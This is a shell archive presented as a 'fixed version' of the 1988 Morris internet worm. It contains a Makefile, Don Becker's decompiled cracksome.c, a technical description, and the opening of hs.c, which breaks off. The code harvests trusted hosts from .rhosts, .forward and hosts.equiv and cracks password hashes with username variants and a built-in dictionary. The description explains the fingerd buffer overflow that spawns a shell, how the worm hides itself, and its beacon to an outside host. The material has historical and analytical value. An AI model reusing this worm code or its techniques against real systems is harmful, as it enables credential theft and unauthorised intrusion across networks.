Group 42 Sells Out!

Fixed Version Of The Internet Worm

Here it is the little bit of code by Robert T Morris Jr. that caused so much trouble on the internet in late 1988, with the fixes so it won't be spawn many copies of itself on the same machine.


# To unbundle, sh this file
echo Makefile 1>&2
sed 's/^-//' >Makefile <<'//GO.SYSIN DD Makefile'
-C_FILES = worm.c net.c hs.c cracksome.c stubs.c
-H_FILES = worm.h
-
-OFILES = worm.o net.o hs.o cracksome.o stubs.o
-
-# Luckily, the original used no optimization
-CFLAGS =
-# Most sites will have to remove the "-D" -- send for our souped-up version
-# of ctags becker@trantor.harris-atd.com
-
-TAGS_FLAGS = -xDt
-
-test: $(OFILES)
-	$(CC) -o test $(OFILES)
-$(OFILES): worm.h
-
-clean:
-	rm -f *.o *~ *.bak
-tags:
-	ctags -xDt > tags
-tar:
-	tar -cf foo.tar  description Makefile $(C_FILES) $(H_FILES) x8113550.c
//GO.SYSIN DD Makefile
echo cracksome.c 1>&2
sed 's/^-//' >cracksome.c <<'//GO.SYSIN DD cracksome.c'
-/*****************************************************************************\
-*									      *
-*	File:     cracksome.c						      *
-*	Author:   Don Becker						      *
-*	Created:  Thu Nov 10 12:08:34 1988				      *
-*	Contents: Crack a few passwords, and use them.			      *
-*	Copyright 1988 by Donald Becker, redistribution by permission only    *
-*									      *
-******************************************************************************/
-
-#include "worm.h"
-#include 
-#include 
-#include 
-#include 
-
-int cmode;
-extern struct hst *h_name2host();
-
-struct usr {					/* sizeof(usr) == 58 */
-    char *name, *o4, *o8, *o12;
-    char passwd[14];				/* offset 16 */
-    char decoded_passwd[14];			/* 30 */
-    short pad;
-    char *homedir;				/* offset 46 */
-    char *gecos;				/* offset 50 */
-    struct usr *next;				/* offset 54 */
-};
-
-/* Ahhh, I just love these names.  Don't change them for anything. */
-static struct usr *x27f28, *x27f2c;
-
-/* Crack some passwords. */
-cracksome()
-{
-    switch (cmode){
-    case 0:
-	strat_0();
-	return;					/* 88 */
-    case 1:
-	strat_1();
-	return;
-    case 2:
-	try_words();
-	return;
-    case 3:
-	dict_words();
-	return;
-    }
-}
-
-/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
-strat_0()					/* 0x5da4 */
-{
-    FILE *hosteq;
-    char scanbuf[512];
-    char fwd_buf[256];
-    char *fwd_host;
-    char getbuf[256];
-    struct passwd *pwent;
-    char local[20];
-    struct usr *user;
-    struct hst *host;				/* 1048 */
-    int check_other_cnt;			/* 1052 */
-    static struct usr *user_list = NULL;
-
-    hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
-    if (hosteq != NULL) {			/* 292 */
-	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
-	    host = h_name2host(scanbuf, 0);
-	    if (host == 0) {
-		host = h_name2host(scanbuf, 1);
-		getaddrs(host);
-	    }
-	    if (host->o48[0] == 0)		/* 158 */
-		continue;
-	    host->flag |= 8;
-	}
-	fclose(hosteq);				/* 280 */
-    }
-
-    hosteq = fopen(XS("/.rhosts"), XS("r"));
-    if (hosteq != NULL) {			/* 516 */
-	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
-	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
-		continue;
-	    host = h_name2host(scanbuf, 0);
-	    while (host == 0) {			/* 436, 474 */
-		host = h_name2host(scanbuf, 1);
-		getaddrs(host);
-	    }
-	    if (host->o48[0] == 0)
-		continue;
-	    host->flag |= 8;
-	}
-	fclose(hosteq);
-    }
-
-    /* look through the passwd file, checking for contact with others every
-     * tenth entry. */
-    setpwent();
-    check_other_cnt = 0;					/* 522 */
-    while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
-	if ((check_other_cnt % 10) == 0)
-	    other_sleep(0);
-	check_other_cnt++;
-	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
-	hosteq = fopen(fwd_buf, XS("r"));
-	if (hosteq != NULL) {			/* 834 */
-	    while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */
-		/* Punt the newline */
-		(&scanbuf[strlen(scanbuf)])[-1] = '\0';
-		fwd_host = index(scanbuf, '@');
-		if (fwd_host == NULL)
-		    continue;
-		host = h_name2host(++fwd_host, 0);
-		if (host == NULL) {
-		    host = h_name2host(fwd_host, 1);
-		    getaddrs(host);
-		}
-		if (host->o48[0] == 0)
-		    continue;
-		host->flag |= 8;
-	    }
-	    fclose(hosteq);
-	}
-	/* Don't do foreign or compilcated hosts */
-	if (strlen(host->hostname) > 11)
-	    continue;
-	user = (struct usr *)malloc(sizeof(struct usr));
-	strcpy(user->name, pwent->pw_name);
-	strcpy(&user->passwd[0], XS("x"));
-	user->decoded_passwd[0] = '\0';
-	user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir);
-	user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos);
-	user->next = user_list;
-	user_list = user;
-    }
-    endpwent();
-    cmode = 1;
-    x27f2c = user_list;
-    return;
-}
-
-/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
-static strat_1()				/* 0x61ca */
-{
-    int cnt;
-    char usrname[50], buf[50];
-
-    for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */
-	/* Every tenth time look for "me mates" */
-	if ((cnt % 10) == 0)
-	    other_sleep(0);
-	/* Check for no passwd */
-	if (try_passwd(x27f2c, XS("")))			/* other_fd+84 */
-	    continue;			/* 1722 */
-	/* If the passwd is something like "*" punt matching it. */
-	if (strlen(x27f2c->passwd) != 13)
-	    continue;
-	strncpy(usrname, x27f2c, sizeof(usrname)-1);
-	usrname[sizeof(usrname)-1] = '\0';
-	if (try_passwd(x27f2c, usrname))
-	    continue;
-	sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
-	if (try_passwd(x27f2c, buf))
-	    continue;				/* 1722 */
-	sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);
-	if (isupper(buf[0]))
-	    buf[0] = tolower(buf[0]);
-	if (strlen(buf) > 3  && try_passwd(x27f2c, buf))
-	    continue;
-	buf[0] = '\0';
-	sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);
-	if (isupper(buf[0]))
-	    buf[0] = tolower(buf[0]);
-	if (strlen(buf) > 3  && index(buf, ',') == NULL  &&
-	    try_passwd(x27f2c, buf))
-	    continue;
-	reverse_str(usrname, buf);
-	if (try_passwd(x27f2c, buf))
-	    ;
-    }
-    if (x27f2c == 0)
-	cmode = 2;
-    return;
-}
-
-static reverse_str(str1, str2)			/* x642a */
-     char *str1, *str2;
-{
-    int length, i;
-
-    length = strlen(str1);
-
-    for(i = 0; i < length; i++)
-	str2[i] = (&str1[length-i]) [-1];
-    str2[length] = '\0';
-    return;
-}
-
-static try_passwd(user, str)			/* 0x6484, unchecked */
-     struct usr *user;
-     char *str;
-{
-    if (strcmp(user->passwd, crypt(str, user->passwd)) == 0  ||
-	(str[0] == '\0'  &&  user->passwd == '\0')) {
-	    strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd));
-	    user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0';
-	    attack_user(user);
-	    return 1;
-	}
-    return 0;
-}
-
-
-/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts */
-/* This is only called from try_passwd() */
-static attack_user(user)			/* 0x6514 */
-     struct usr *user;
-{
-    FILE *fwd_fp;
-    char buf[512], *hostpart;			/* l516 */
-    char rhbuf[256];				/* l776 */
-    char l1288[512];
-    struct hst *host;				/* l1292 */
-
-    sprintf(buf, XS("%.200s/.forward"), user->homedir);	/*  */
-    fwd_fp = fopen(buf, XS("r"));
-    if (fwd_fp) {
-	while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */
-	    /* Punt the newline */
-	    buf[strlen(buf) - 1] = '\0';
-	    hostpart = index(buf, '@');
-	    /* If no hostname, it's not foreign so ignore it. */
-	    if (hostpart == NULL)
-		continue;
-	    /* Split username and hostname */
-	    *hostpart++ = '\0';
-
-	    /* Here there appears to be a bug!!!  It works correctly
-	     * by coincidence of pushing things on the stack. */
-#ifndef FIX_BUGS
-	    host = h_name2host(hostpart, 1);
-	    hu1(user, host, buf);
-#else						/* original */
-	    /* 'hu1' should have another argument */
-	    hu1(user, (host = h_name2host(hostpart, 1, buf)));
-#endif
-
-	}
-	fclose(fwd_fp);
-    }
-
-    sprintf(buf, XS("%.200s/.rhosts"), user->homedir);
-    fwd_fp = fopen(buf, XS("r"));
-    if (fwd_fp) {				/* 2446 */
-	while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */
-	    l1288[0] = '\0';
-	    if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1)
-		continue;
-	    host = h_name2host(buf, 1);
-	    hu1(user, host, l1288);
-	}
-	fclose(fwd_fp);
-    }
-    return;
-}
-
-/* This array in the sun binary was camaflouged by having the
-   high-order bit set in every char. */
-
-char *wds[] = 					/* 0x21a74 */
-{
- 	"academia",
- 	"aerobics",
- 	"airplane",
- 	"albany",
- 	"albatross",
- 	"albert",
- 	"alex",
- 	"alexander",
- 	"algebra",
- 	"aliases",
- 	"alphabet",
- 	"amorphous",
- 	"analog",
- 	"anchor",
- 	"andromache",
- 	"animals",
- 	"answer",
- 	"anthropogenic",
- 	"anvils",
- 	"anything",
- 	"aria",
- 	"ariadne",
- 	"arrow",
- 	"arthur",
- 	"athena",
- 	"atmosphere",
- 	"aztecs",
- 	"azure",
- 	"bacchus",
- 	"bailey",
- 	"banana",
- 	"bananas",
- 	"bandit",
- 	"banks",
- 	"barber",
- 	"baritone",
- 	"bass",
- 	"bassoon",
- 	"batman",
- 	"beater",
- 	"beauty",
- 	"beethoven",
- 	"beloved",
- 	"benz",
- 	"beowulf",
- 	"berkeley",
- 	"berliner",
- 	"beryl",
- 	"beverly",
- 	"bicameral",
- 	"brenda",
- 	"brian",
- 	"bridget",
- 	"broadway",
- 	"bumbling",
- 	"burgess",
- 	"campanile",
- 	"cantor",
- 	"cardinal",
- 	"carmen",
- 	"carolina",
- 	"caroline",
- 	"cascades",
- 	"castle",
- 	"cayuga",
- 	"celtics",
- 	"cerulean",
- 	"change",
- 	"charles",
- 	"charming",
- 	"charon",
- 	"chester",
- 	"cigar",
- 	"classic",
- 	"clusters",
- 	"coffee",
- 	"coke",
- 	"collins",
- 	"commrades",
- 	"computer",
- 	"condo",
- 	"cookie",
- 	"cooper",
- 	"cornelius",
- 	"couscous",
- 	"creation",
- 	"creosote",
- 	"cretin",
- 	"daemon",
- 	"dancer",
- 	"daniel",
- 	"danny",
- 	"dave",
- 	"december",
- 	"defoe",
- 	"deluge",
- 	"desperate",
- 	"develop",
- 	"dieter",
- 	"digital",
- 	"discovery",
- 	"disney",
- 	"drought",
- 	"duncan",
- 	"eager",
- 	"easier",
- 	"edges",
- 	"edinburgh",
- 	"edwin",
- 	"edwina",
- 	"egghead",
- 	"eiderdown",
- 	"eileen",
- 	"einstein",
- 	"elephant",
- 	"elizabeth",
- 	"ellen",
- 	"emerald",
- 	"engine",
- 	"engineer",
- 	"enterprise",
- 	"enzyme",
- 	"ersatz",
- 	"establish",
- 	"estate",
- 	"euclid",
- 	"evelyn",
- 	"extension",
- 	"fairway",
- 	"felicia",
- 	"fender",
- 	"fermat",
- 	"fidelity",
- 	"finite",
- 	"fishers",
- 	"flakes",
- 	"float",
- 	"flower",
- 	"flowers",
- 	"foolproof",
- 	"football",
- 	"foresight",
- 	"format",
- 	"forsythe",
- 	"fourier",
- 	"fred",
- 	"friend",
- 	"frighten",
- 	"fungible",
- 	"gabriel",
- 	"gardner",
- 	"garfield",
- 	"gauss",
- 	"george",
- 	"gertrude",
- 	"ginger",
- 	"glacier",
- 	"golfer",
- 	"gorgeous",
- 	"gorges",
- 	"gosling",
- 	"gouge",
- 	"graham",
- 	"gryphon",
- 	"guest",
- 	"guitar",
- 	"gumption",
- 	"guntis",
- 	"hacker",
- 	"hamlet",
- 	"handily",
- 	"happening",
- 	"harmony",
- 	"harold",
- 	"harvey",
- 	"hebrides",
- 	"heinlein",
- 	"hello",
- 	"help",
- 	"herbert",
- 	"hiawatha",
- 	"hibernia",
- 	"honey",
- 	"horse",
- 	"horus",
- 	"hutchins",
- 	"imbroglio",
- 	"imperial",
- 	"include",
- 	"ingres",
- 	"inna",
- 	"innocuous",
- 	"irishman",
- 	"isis",
- 	"japan",
- 	"jessica",
- 	"jester",
- 	"jixian",
- 	"johnny",
- 	"joseph",
- 	"joshua",
- 	"judith",
- 	"juggle",
- 	"julia",
- 	"kathleen",
- 	"kermit",
- 	"kernel",
- 	"kirkland",
- 	"knight",
- 	"ladle",
- 	"lambda",
- 	"lamination",
- 	"larkin",
- 	"larry",
- 	"lazarus",
- 	"lebesgue",
- 	"leland",
- 	"leroy",
- 	"lewis",
- 	"light",
- 	"lisa",
- 	"louis",
- 	"lynne",
- 	"macintosh",
- 	"mack",
- 	"maggot",
- 	"magic",
- 	"malcolm",
- 	"mark",
- 	"markus",
- 	"marty",
- 	"marvin",
- 	"master",
- 	"maurice",
- 	"mellon",
- 	"merlin",
- 	"mets",
- 	"michael",
- 	"michelle",
- 	"mike",
- 	"minimum",
- 	"minsky",
- 	"moguls",
- 	"moose",
- 	"morley",
- 	"mozart",
- 	"nancy",
- 	"napoleon",
- 	"nepenthe",
- 	"ness",
- 	"network",
- 	"newton",
- 	"next",
- 	"noxious",
- 	"nutrition",
- 	"nyquist",
- 	"oceanography",
- 	"ocelot",
- 	"olivetti",
- 	"olivia",
- 	"oracle",
- 	"orca",
- 	"orwell",
- 	"osiris",
- 	"outlaw",
- 	"oxford",
- 	"pacific",
- 	"painless",
- 	"pakistan",
- 	"papers",
- 	"password",
- 	"patricia",
- 	"penguin",
- 	"peoria",
- 	"percolate",
- 	"persimmon",
- 	"persona",
- 	"pete",
- 	"peter",
- 	"philip",
- 	"phoenix",
- 	"pierre",
- 	"pizza",
- 	"plover",
- 	"plymouth",
- 	"polynomial",
- 	"pondering",
- 	"pork",
- 	"poster",
- 	"praise",
- 	"precious",
- 	"prelude",
- 	"prince",
- 	"princeton",
- 	"protect",
- 	"protozoa",
- 	"pumpkin",
- 	"puneet",
- 	"puppet",
- 	"rabbit",
- 	"rachmaninoff",
- 	"rainbow",
- 	"raindrop",
- 	"raleigh",
- 	"random",
- 	"rascal",
- 	"really",
- 	"rebecca",
- 	"remote",
- 	"rick",
- 	"ripple",
- 	"robotics",
- 	"rochester",
- 	"rolex",
- 	"romano",
- 	"ronald",
- 	"rosebud",
- 	"rosemary",
- 	"roses",
- 	"ruben",
- 	"rules",
- 	"ruth",
- 	"saxon",
- 	"scamper",
- 	"scheme",
- 	"scott",
- 	"scotty",
- 	"secret",
- 	"sensor",
- 	"serenity",
- 	"sharks",
- 	"sharon",
- 	"sheffield",
- 	"sheldon",
- 	"shiva",
- 	"shivers",
- 	"shuttle",
- 	"signature",
- 	"simon",
- 	"simple",
- 	"singer",
- 	"single",
- 	"smile",
- 	"smiles",
- 	"smooch",
- 	"smother",
- 	"snatch",
- 	"snoopy",
- 	"soap",
- 	"socrates",
- 	"sossina",
- 	"sparrows",
- 	"spit",
- 	"spring",
- 	"springer",
- 	"squires",
- 	"strangle",
- 	"stratford",
- 	"stuttgart",
- 	"subway",
- 	"success",
- 	"summer",
- 	"super",
- 	"superstage",
- 	"support",
- 	"supported",
- 	"surfer",
- 	"suzanne",
- 	"swearer",
- 	"symmetry",
- 	"tangerine",
- 	"tape",
- 	"target",
- 	"tarragon",
- 	"taylor",
- 	"telephone",
- 	"temptation",
- 	"thailand",
- 	"tiger",
- 	"toggle",
- 	"tomato",
- 	"topography",
- 	"tortoise",
- 	"toyota",
- 	"trails",
- 	"trivial",
- 	"trombone",
- 	"tubas",
- 	"tuttle",
- 	"umesh",
- 	"unhappy",
- 	"unicorn",
- 	"unknown",
- 	"urchin",
- 	"utility",
- 	"vasant",
- 	"vertigo",
- 	"vicky",
- 	"village",
- 	"virginia",
- 	"warren",
- 	"water",
- 	"weenie",
- 	"whatnot",
- 	"whiting",
- 	"whitney",
- 	"will",
- 	"william",
- 	"williamsburg",
- 	"willie",
- 	"winston",
- 	"wisconsin",
- 	"wizard",
- 	"wombat",
- 	"woodwind",
- 	"wormwood",
- 	"yacov",
- 	"yang",
- 	"yellowstone",
- 	"yosemite",
- 	"zimmerman",
-	0
-};
-int nextw = 0;					/* 0x24868 */
-
-/* Try a list of potential passwds for each user. */
-static try_words()				/* 0x66da */
-{
-    struct usr *user;
-    int i, j;
-
-    if (wds[nextw] == 0) {
-	cmode++;
-	return;					/* 2724 */
-    }
-    if (nextw == 0) {				/* 2550 */
-	for (i = 0; wds[i]; i++)
-	    ;
-	permute(wds, i, sizeof(wds[0]));
-    }
-
-    for (j = 0; wds[nextw][j] != '\0'; j++)
-	wds[nextw][j] &= 0x7f;
-    for (user = x27f28; user; user = user->next)
-	try_passwd(user, wds[nextw]);
-    for (j = 0; wds[nextw][j]; j++)		/* 2664,2718 */
-	wds[nextw][j] |= 0x80;
-    nextw += 1;
-    return;
-}
-
-
-/* Called only from the cracksome() dispatch loop. Tries a single word from the
- * dictionary, downcasing if capitalized and trying again. */
-static dict_words()				/* 0x67f0 */
-{
-    char buf[512];
-    struct usr *user;
-    static FILE *x27f30;
-
-    if (x27f30 != NULL) {
-	x27f30 = fopen(XS("/usr/dict/words"), XS("r"));
-	if (x27f30 == NULL)
-	    return;
-    }
-    if (fgets(buf, sizeof(buf), x27f30) == 0) {	/* 2808,2846 */
-	cmode++;
-	return;
-    }
-    (&buf[strlen(buf)])[-1] = '\0';
-
-    for (user = x27f28; user; user = user->next) /* 2910 */
-	try_passwd(user, buf);
-    if (!isupper(buf[0]))
-	return;
-    buf[0] = tolower(buf[0]);
-
-    for (user = x27f28; user; user = user->next)
-	try_passwd(user, buf);
-    return;					/* 2988 */
-}
-	
-/*
- * Local variables:
- * comment-column: 48
- * compile-command: "cc -S cracksome.c"
- * End:
- */
-
//GO.SYSIN DD cracksome.c
echo description 1>&2
sed 's/^-//' >description <<'//GO.SYSIN DD description'
-In order to understand the methods used by the 'worm' program I
-constructed a C source file that would compile to the exact code used
-by the program.  While the binaries are not exactly the same (the
-original object files must have used a program similar to the Berkeley
-'xstrings' to encode ASCII strings so that a simple search for strings
-would not suceed), the code is identical when compiled with the
-correct compilers (BSD 4.3 pcc on the VAX, the MIT/pcc-derived Sun C
-compiler distributed with SunOS 3.4/3.5).
-
-
-
-Curiously, the attacks were all inter-machine.  The program was intent
-upon reaching as many hosts as possible rather than gaining more
-privileged access on the current host.
-
-As reported elsewhere, the program's most successful point of attack
-was through debugging mode in sendmail/the SMTP server.  That hole
-exists almost universally in Berkeley-derived mail systems, and
-permitted initial access to sites such as Harris-ATD that depend upon
-a security "wall" at the point of Arpanet access, and have an open
-system internally.  But that hole wasn't the only method the program
-used to gain access, on the contrary it had an array of network and
-password based attacks.
-
-The finger bug was the most interesting to me.  The routine exploits a
-fixed 512 byte input buffer in a VAX running the BSD 4.3 fingerd
-binary.  It send 536 bytes (plus a newline) to overwrite six extra
-words in the stack frame, including the return PC.  The return PC
-points into the middle of the string sent over.  The VAX instructions
-in the string do the direct system call version of execve("/bin/sh").
-
-
-"Main" -- setup and hide
-
-The program first takes several steps to disguise itself as just
-another "sh".  It immediately copies "sh" into argv[0] so that
-programs such as `ps' will report that name as the running process.
-It then insures that an attempt to induce a core dump will fail by the
-setting the "resource limit" for a potential core file to zero.  It
-parses the rest of its arguments, which might include the pid of its
-parent and a list of object files.  It loads the object files into
-memory and deletes them from the file system. If any of the files are
-missing or there is some other problem in loading them, it immediately
-exits.  At least the C version of the slave program must exist.
-
-If it has a command-line parent process id, it deletes itself from the
-file system, along with "sh" and "/tmp/.dumb".  It zeros out its
-argument strings (so they can't be found by `ps'), detaches itself
-from its parent's process group, and kills off its parent.
-
-Break into other systems
-
-The main breakin loop tries a few easy ways to get into other systems
-(hg(), hl(), and ha()),  checks for other copies of itself on the
-current system, reports the breakin by opening a connection and
-sending a single byte to "128.32.137.13", sleeps for a while to hide
-the load on the system, and then enters a continuous loop of similar
-activities.  During each pass it changes its process id by forking off
-a child and killing the parent.  After twelve hours has elasped it cleans
-out hosts it could not contact from its host list.
-
-
-"Cracksome"
-
-'cracksome' is the dispatch routine for password and system cracking.  It
-proceeds in  several stages, controlled by the variable 'cmode'.  The
-first stage reads the hosts in /etc/hosts.equiv and /.rhosts and puts
-them in the list of known hosts.  It then makes a list of all users in
-/etc/passwd, stopping every tenth user to check for other copies of
-itself.  For each user it checks their ~/.forward files for additional
-hosts.  If the forwarded hostname is shorter than 12 characters (presumably a
-hueristic to find only local hosts), it adds the user to its list of
-local users, along with several fields from the password file.
-
-The next time 'cracksome' is called goes through the list of
-usernames, again stopping every tenth name to check for others, and
-tries various likely passwds, including none, the username (e.g.
-becker), the user's name repeated twice (beckerbecker), and the user's
-name reversed (rekceb).  It also tries the names in the 'gecos' field
-(the user's full name e.g. Donald Becker) with the first letter
-downcased (e.g. `donald' and `becker').
-
-The next pass through it tries words from an encoded private
-dictionary for each user.  Only the first third of a dictionary seems
-to have made it to the binary -- words up to the letter "h".
-
-The final pass tries every word in /usr/lib/dict against every user
-passwd.  If the dictionary word is capitalized, it tries the lower
-cased version of that word also.
-
-
-				Donald Becker
-				becker@trantor.harris-atd.com
//GO.SYSIN DD description
echo forbecker 1>&2
sed 's/^-//' >forbecker <<'//GO.SYSIN DD forbecker'
-From "cracksome.c":
-
-    ...
-    /* This array in the sun binary was appearently blank, but a partial
-       encoded dictionary existed in the binary.  Someday I'll figure out what
-       happened, perhaps by looking at the VAX version.  */
-
-    char *wds[] = {"",0};				/* 0x21a74 */
-    ...
-
-Someone discovered that the strings in the binary all had the
-high-order bit set.  Here's what you should have:
-
-char *wds[] =
-{
- 	"academia",
- 	"aerobics",
- 	"airplane",
- 	"albany",
- 	"albatross",
- 	"albert",
- 	"alex",
- 	"alexander",
- 	"algebra",
- 	"aliases",
- 	"alphabet",
- 	"amorphous",
- 	"analog",
- 	"anchor",
- 	"andromache",
- 	"animals",
- 	"answer",
- 	"anthropogenic",
- 	"anvils",
- 	"anything",
- 	"aria",
- 	"ariadne",
- 	"arrow",
- 	"arthur",
- 	"athena",
- 	"atmosphere",
- 	"aztecs",
- 	"azure",
- 	"bacchus",
- 	"bailey",
- 	"banana",
- 	"bananas",
- 	"bandit",
- 	"banks",
- 	"barber",
- 	"baritone",
- 	"bass",
- 	"bassoon",
- 	"batman",
- 	"beater",
- 	"beauty",
- 	"beethoven",
- 	"beloved",
- 	"benz",
- 	"beowulf",
- 	"berkeley",
- 	"berliner",
- 	"beryl",
- 	"beverly",
- 	"bicameral",
- 	"brenda",
- 	"brian",
- 	"bridget",
- 	"broadway",
- 	"bumbling",
- 	"burgess",
- 	"campanile",
- 	"cantor",
- 	"cardinal",
- 	"carmen",
- 	"carolina",
- 	"caroline",
- 	"cascades",
- 	"castle",
- 	"cayuga",
- 	"celtics",
- 	"cerulean",
- 	"change",
- 	"charles",
- 	"charming",
- 	"charon",
- 	"chester",
- 	"cigar",
- 	"classic",
- 	"clusters",
- 	"coffee",
- 	"coke",
- 	"collins",
- 	"commrades",
- 	"computer",
- 	"condo",
- 	"cookie",
- 	"cooper",
- 	"cornelius",
- 	"couscous",
- 	"creation",
- 	"creosote",
- 	"cretin",
- 	"daemon",
- 	"dancer",
- 	"daniel",
- 	"danny",
- 	"dave",
- 	"december",
- 	"defoe",
- 	"deluge",
- 	"desperate",
- 	"develop",
- 	"dieter",
- 	"digital",
- 	"discovery",
- 	"disney",
- 	"drought",
- 	"duncan",
- 	"eager",
- 	"easier",
- 	"edges",
- 	"edinburgh",
- 	"edwin",
- 	"edwina",
- 	"egghead",
- 	"eiderdown",
- 	"eileen",
- 	"einstein",
- 	"elephant",
- 	"elizabeth",
- 	"ellen",
- 	"emerald",
- 	"engine",
- 	"engineer",
- 	"enterprise",
- 	"enzyme",
- 	"ersatz",
- 	"establish",
- 	"estate",
- 	"euclid",
- 	"evelyn",
- 	"extension",
- 	"fairway",
- 	"felicia",
- 	"fender",
- 	"fermat",
- 	"fidelity",
- 	"finite",
- 	"fishers",
- 	"flakes",
- 	"float",
- 	"flower",
- 	"flowers",
- 	"foolproof",
- 	"football",
- 	"foresight",
- 	"format",
- 	"forsythe",
- 	"fourier",
- 	"fred",
- 	"friend",
- 	"frighten",
- 	"fungible",
- 	"gabriel",
- 	"gardner",
- 	"garfield",
- 	"gauss",
- 	"george",
- 	"gertrude",
- 	"ginger",
- 	"glacier",
- 	"golfer",
- 	"gorgeous",
- 	"gorges",
- 	"gosling",
- 	"gouge",
- 	"graham",
- 	"gryphon",
- 	"guest",
- 	"guitar",
- 	"gumption",
- 	"guntis",
- 	"hacker",
- 	"hamlet",
- 	"handily",
- 	"happening",
- 	"harmony",
- 	"harold",
- 	"harvey",
- 	"hebrides",
- 	"heinlein",
- 	"hello",
- 	"help",
- 	"herbert",
- 	"hiawatha",
- 	"hibernia",
- 	"honey",
- 	"horse",
- 	"horus",
- 	"hutchins",
- 	"imbroglio",
- 	"imperial",
- 	"include",
- 	"ingres",
- 	"inna",
- 	"innocuous",
- 	"irishman",
- 	"isis",
- 	"japan",
- 	"jessica",
- 	"jester",
- 	"jixian",
- 	"johnny",
- 	"joseph",
- 	"joshua",
- 	"judith",
- 	"juggle",
- 	"julia",
- 	"kathleen",
- 	"kermit",
- 	"kernel",
- 	"kirkland",
- 	"knight",
- 	"ladle",
- 	"lambda",
- 	"lamination",
- 	"larkin",
- 	"larry",
- 	"lazarus",
- 	"lebesgue",
- 	"leland",
- 	"leroy",
- 	"lewis",
- 	"light",
- 	"lisa",
- 	"louis",
- 	"lynne",
- 	"macintosh",
- 	"mack",
- 	"maggot",
- 	"magic",
- 	"malcolm",
- 	"mark",
- 	"markus",
- 	"marty",
- 	"marvin",
- 	"master",
- 	"maurice",
- 	"mellon",
- 	"merlin",
- 	"mets",
- 	"michael",
- 	"michelle",
- 	"mike",
- 	"minimum",
- 	"minsky",
- 	"moguls",
- 	"moose",
- 	"morley",
- 	"mozart",
- 	"nancy",
- 	"napoleon",
- 	"nepenthe",
- 	"ness",
- 	"network",
- 	"newton",
- 	"next",
- 	"noxious",
- 	"nutrition",
- 	"nyquist",
- 	"oceanography",
- 	"ocelot",
- 	"olivetti",
- 	"olivia",
- 	"oracle",
- 	"orca",
- 	"orwell",
- 	"osiris",
- 	"outlaw",
- 	"oxford",
- 	"pacific",
- 	"painless",
- 	"pakistan",
- 	"papers",
- 	"password",
- 	"patricia",
- 	"penguin",
- 	"peoria",
- 	"percolate",
- 	"persimmon",
- 	"persona",
- 	"pete",
- 	"peter",
- 	"philip",
- 	"phoenix",
- 	"pierre",
- 	"pizza",
- 	"plover",
- 	"plymouth",
- 	"polynomial",
- 	"pondering",
- 	"pork",
- 	"poster",
- 	"praise",
- 	"precious",
- 	"prelude",
- 	"prince",
- 	"princeton",
- 	"protect",
- 	"protozoa",
- 	"pumpkin",
- 	"puneet",
- 	"puppet",
- 	"rabbit",
- 	"rachmaninoff",
- 	"rainbow",
- 	"raindrop",
- 	"raleigh",
- 	"random",
- 	"rascal",
- 	"really",
- 	"rebecca",
- 	"remote",
- 	"rick",
- 	"ripple",
- 	"robotics",
- 	"rochester",
- 	"rolex",
- 	"romano",
- 	"ronald",
- 	"rosebud",
- 	"rosemary",
- 	"roses",
- 	"ruben",
- 	"rules",
- 	"ruth",
- 	"saxon",
- 	"scamper",
- 	"scheme",
- 	"scott",
- 	"scotty",
- 	"secret",
- 	"sensor",
- 	"serenity",
- 	"sharks",
- 	"sharon",
- 	"sheffield",
- 	"sheldon",
- 	"shiva",
- 	"shivers",
- 	"shuttle",
- 	"signature",
- 	"simon",
- 	"simple",
- 	"singer",
- 	"single",
- 	"smile",
- 	"smiles",
- 	"smooch",
- 	"smother",
- 	"snatch",
- 	"snoopy",
- 	"soap",
- 	"socrates",
- 	"sossina",
- 	"sparrows",
- 	"spit",
- 	"spring",
- 	"springer",
- 	"squires",
- 	"strangle",
- 	"stratford",
- 	"stuttgart",
- 	"subway",
- 	"success",
- 	"summer",
- 	"super",
- 	"superstage",
- 	"support",
- 	"supported",
- 	"surfer",
- 	"suzanne",
- 	"swearer",
- 	"symmetry",
- 	"tangerine",
- 	"tape",
- 	"target",
- 	"tarragon",
- 	"taylor",
- 	"telephone",
- 	"temptation",
- 	"thailand",
- 	"tiger",
- 	"toggle",
- 	"tomato",
- 	"topography",
- 	"tortoise",
- 	"toyota",
- 	"trails",
- 	"trivial",
- 	"trombone",
- 	"tubas",
- 	"tuttle",
- 	"umesh",
- 	"unhappy",
- 	"unicorn",
- 	"unknown",
- 	"urchin",
- 	"utility",
- 	"vasant",
- 	"vertigo",
- 	"vicky",
- 	"village",
- 	"virginia",
- 	"warren",
- 	"water",
- 	"weenie",
- 	"whatnot",
- 	"whiting",
- 	"whitney",
- 	"will",
- 	"william",
- 	"williamsburg",
- 	"willie",
- 	"winston",
- 	"wisconsin",
- 	"wizard",
- 	"wombat",
- 	"woodwind",
- 	"wormwood",
- 	"yacov",
- 	"yang",
- 	"yellowstone",
- 	"yosemite",
- 	"zimmerman",
-	0
-};
//GO.SYSIN DD forbecker
echo hs.c 1>&2
sed 's/^-//' >hs.c <<'//GO.SYSIN DD hs.c'
-/*****************************************************************************\
-*									      *
-*	File:     hs.c							      *
-*	Author:   Don Becker						      *
-*	Created:  Sun Nov  6 20:16:31 1988				      *
-*	Contents: Third source file of the 'worm'			      *
-*	Copyright 1988 by Donald Becker, redistribution by permission only    *
-*									      *
-******************************************************************************/
-
-#include "worm.h"
-#include 
-#include 
-#include 
-#include 
